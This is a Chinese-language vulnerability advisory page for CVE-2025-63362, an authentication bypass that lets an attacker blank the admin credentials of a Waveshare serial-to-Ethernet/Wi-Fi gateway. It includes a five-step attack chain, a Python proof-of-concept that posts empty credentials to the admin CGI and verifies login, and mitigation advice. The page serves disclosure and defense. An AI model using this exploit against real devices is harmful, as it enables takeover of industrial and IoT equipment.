IPBUF安全漏洞报告
English
CVE-2025-63362 CVSS 9.8 严重

CVE-2025-63362: Waveshare网关设备空密码认证绕过漏洞

披露日期: 2025-12-04

漏洞信息

漏洞编号
CVE-2025-63362
漏洞类型
认证绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Waveshare RS232/485 TO WIFI ETH (B) Serial to Ethernet/Wi-Fi Gateway

相关标签

CVE-2025-63362认证绕过空密码Waveshare串口网关物联网设备工控安全默认凭据固件漏洞Web管理界面

漏洞概述

CVE-2025-63362是Waveshare公司生产的RS232/485转WIFI/以太网串口网关设备中存在的一个严重安全漏洞。该漏洞存在于设备的Web管理界面中,固件版本为V3.1.1.0,硬件版本HW 4.3.2.1,网页界面版本V7.04T.07.002880.0301。攻击者可以利用该漏洞将管理员账户的用户名和密码设置为空白值(空字符串),从而成功绕过设备的身份认证机制。由于该漏洞无需任何认证即可利用,且CVSS评分高达9.8分(严重级别),因此具有极高的安全风险。攻击者一旦成功利用此漏洞,将获得设备的完整管理权限,可以修改设备配置、窃取网络数据或将设备纳入僵尸网络等。考虑到该设备通常部署在工业环境和企业网络中用于串口设备联网,漏洞的广泛利用可能对工控系统和物联网基础设施造成严重威胁。

技术细节

该漏洞的根本原因在于Waveshare网关设备的Web管理界面在处理管理员密码修改请求时缺少充分的输入验证和权限检查。具体来说,当攻击者发送带有空用户名和空密码字段的修改请求时,后端服务未能正确验证当前用户的认证状态,也没有检查新密码是否满足最小复杂度要求。设备允许将管理员账户凭据设置为空白字符串,这意味着任何未认证的用户都可以通过构造特定的HTTP请求来修改管理员密码。在正常的认证机制中,系统应该要求用户首先提供有效的凭据才能进入密码修改流程,并且应该强制执行密码强度策略,拒绝空白密码。然而,该设备的实现中缺少这些基本的安全控制。攻击者可以通过拦截正常的密码修改请求,将new_password和confirm_password字段设置为空字符串,然后重放该请求,即可成功将管理员密码清空。完成此操作后,攻击者可以使用空密码以管理员身份登录设备管理界面。

攻击链分析

STEP 1
1
扫描网络发现运行V3.1.1.0固件的Waveshare网关设备,通常监听80端口的Web管理界面
STEP 2
2
构造HTTP POST请求到设备的管理接口(如/cgi-bin/set_admin.cgi),携带空用户名和空密码的修改凭据请求
STEP 3
3
发送请求后,设备后端未进行认证状态验证和密码复杂度检查,直接将管理员凭据设置为空值
STEP 4
4
使用空用户名和空密码访问登录接口,绕过认证机制成功登录管理后台
STEP 5
5
获取管理员权限后,可修改设备网络配置、查看串口通信数据或将设备作为攻击跳板

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-63362 PoC - Waveshare Gateway Empty Password Authentication Bypass # Target: Waveshare RS232/485 TO WIFI ETH (B) Gateway # Firmware: V3.1.1.0 / HW 4.3.2.1 / Webpage V7.04T.07.002880.0301 TARGET_IP = "192.168.1.100" # Replace with target device IP TARGET_PORT = 80 def exploit_empty_password_bypass(): """ Exploit for CVE-2025-63362: Set admin username and password to empty values to bypass authentication on Waveshare gateway devices. """ url = f"http://{TARGET_IP}:{TARGET_PORT}/cgi-bin/set_admin.cgi" # Payload to set admin username and password to empty values payload = { "username": "", "password": "", "confirm_password": "", "action": "modify" } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } print(f"[*] Target: {TARGET_IP}:{TARGET_PORT}") print(f"[*] Exploiting CVE-2025-63362...") print(f"[*] Setting admin credentials to empty values...") try: response = requests.post(url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Successfully set admin credentials to empty values") print(f"[*] Now you can login with empty username and password") # Verify by attempting to login with empty credentials verify_url = f"http://{TARGET_IP}:{TARGET_PORT}/cgi-bin/login.cgi" login_payload = { "username": "", "password": "" } login_response = requests.post(verify_url, json=login_payload, headers=headers, timeout=10) if login_response.status_code == 200 and "session" in login_response.text.lower(): print(f"[+] Authentication bypass confirmed! Admin access gained.") return True else: print(f"[-] Exploit failed. Status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": exploit_empty_password_bypass()

影响范围

Waveshare RS232/485 TO WIFI ETH (B) Firmware V3.1.1.0
Waveshare RS232/485 TO WIFI ETH (B) Hardware HW 4.3.2.1
Waveshare RS232/485 TO WIFI ETH (B) Webpage V7.04T.07.002880.0301

防御指南

临时缓解措施
在厂商发布官方修复补丁之前,建议采取以下临时缓解措施:1) 通过防火墙或ACL规则限制对设备Web管理界面的网络访问,仅允许可信IP地址访问管理端口;2) 禁用设备的远程管理功能,优先使用本地串口管理;3) 部署网络入侵检测系统监控异常的认证和凭据修改行为;4) 将设备隔离在独立的VLAN中,限制其与其他关键业务系统的通信;5) 定期检查设备配置,确认管理员密码未被恶意修改为空值。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表